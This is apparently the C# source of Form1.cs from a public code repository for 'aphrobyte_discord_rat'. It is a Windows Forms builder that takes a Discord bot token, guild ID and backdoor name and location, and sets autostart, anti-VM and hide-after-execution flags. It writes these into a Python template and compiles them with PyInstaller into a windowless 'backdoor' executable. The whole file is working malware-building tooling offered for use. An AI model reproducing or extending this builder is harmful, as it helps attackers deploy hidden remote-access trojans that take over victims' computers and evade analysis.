-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathForm1.cs
116 lines (105 loc) · 5.31 KB
/
Form1.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Forms;
using System.Diagnostics;
namespace aphrobyte_discord_rat
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
static void Compile(string guild_id, string bot_token, string alerts_id, string process_name, string backdoor_name, string backdoor_location, bool startup, bool antivm, bool hide)
{
if (Directory.Exists("dist"))
{
Directory.Delete("dist", true);
}
if (Directory.Exists("build"))
{
Directory.Delete("build", true);
}
if (Directory.Exists($"{backdoor_name}.spec"))
{
Directory.Delete($"{backdoor_name}.spec", true);
}
if (File.Exists(".buildmodules\\main.py"))
{
File.Delete(".buildmodules\\main.py");
}
if (!backdoor_name.EndsWith(".exe"))
{
backdoor_name = $"{backdoor_name}.exe";
}
string sample_path = ".buildmodules\\sample.py";
File.Copy(sample_path, ".buildmodules\\main.py"); File.Move(".buildmodules\\main.py", ".buildmodules\\main.py");
string unconfigured = File.ReadAllText(".buildmodules\\main.py");
unconfigured = unconfigured.Replace("{guildid}", guild_id);
unconfigured = unconfigured.Replace("{token}", bot_token);
unconfigured = unconfigured.Replace("{announcements}", alerts_id);
unconfigured = unconfigured.Replace("{processname}", process_name);
unconfigured = unconfigured.Replace("{backdoorlocation}", backdoor_location);
unconfigured = unconfigured.Replace("\"{autostart}\"", startup.ToString());
unconfigured = unconfigured.Replace("\"{antivm}\"", antivm.ToString());
unconfigured = unconfigured.Replace("\"{hideafterexec}\"", hide.ToString());
File.WriteAllText(".buildmodules\\main.py", unconfigured);
ProcessStartInfo ps = new ProcessStartInfo();
ps.FileName = "cmd.exe";
ps.WindowStyle = ProcessWindowStyle.Normal;
ps.Arguments = $"/c title \"Compiling configuration, please wait...\" && python -m PyInstaller --onefile --noconsole --name=\"{backdoor_name}\" .buildmodules\\main.py && title \"Backdoor compiled \" && move \"dist\\{backdoor_name}\" {backdoor_name} && echo . && pause";
Process.Start(ps);
}
private void button2_Click(object sender, EventArgs e)
{
bool filledtextbox_1 = !string.IsNullOrWhiteSpace(textBox1.Text);
bool filledtextbox_2 = !string.IsNullOrWhiteSpace(textBox2.Text);
bool filledtextbox_3 = !string.IsNullOrWhiteSpace(textBox3.Text);
bool filledtextbox_4 = !string.IsNullOrWhiteSpace(textBox4.Text);
bool filledtextbox_5 = !string.IsNullOrWhiteSpace(textBox5.Text);
bool combobox_selected = comboBox1.SelectedIndex != -1;
if (filledtextbox_1 && filledtextbox_2 && filledtextbox_3 && filledtextbox_4 && filledtextbox_5 && combobox_selected)
{
string guildid = textBox1.Text;
string bottoken = textBox2.Text;
string alertsid = textBox3.Text;
string processname = textBox4.Text;
string backdoorname = textBox5.Text;
string backdoorlocation = comboBox1.Text;
bool startup = checkBox1.Checked;
bool antivm = checkBox2.Checked;
bool hide = checkBox4.Checked;
Compile(guildid, bottoken, alertsid, processname, backdoorname, backdoorlocation, startup, antivm, hide);
} else
{
MessageBox.Show("Please complete every field and choose a backdoor location.", "Configuration incomplete", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void button1_Click(object sender, EventArgs e)
{
if (checkBox5.Checked != true)
{
ProcessStartInfo ps = new ProcessStartInfo();
ps.FileName = "cmd.exe";
ps.WindowStyle = ProcessWindowStyle.Normal;
ps.Arguments = "/c title \"Installing requirements, please wait...\" && pip install -r .buildmodules\\requirements.txt && title \"Requirements installed\" && echo . && pause";
Process.Start(ps);
}
else
{
ProcessStartInfo ps = new ProcessStartInfo();
ps.FileName = "cmd.exe";
ps.WindowStyle = ProcessWindowStyle.Normal;
ps.Arguments = "/c title \"Installing and upgrading requirements, please wait...\" && pip install --upgrade pip && pip install --upgrade wheel && pip install --upgrade setuptools && pip install -U -r .buildmodules\\requirements.txt && title \"Requirements installed\" && echo . && pause";
Process.Start(ps);
}
}
}
}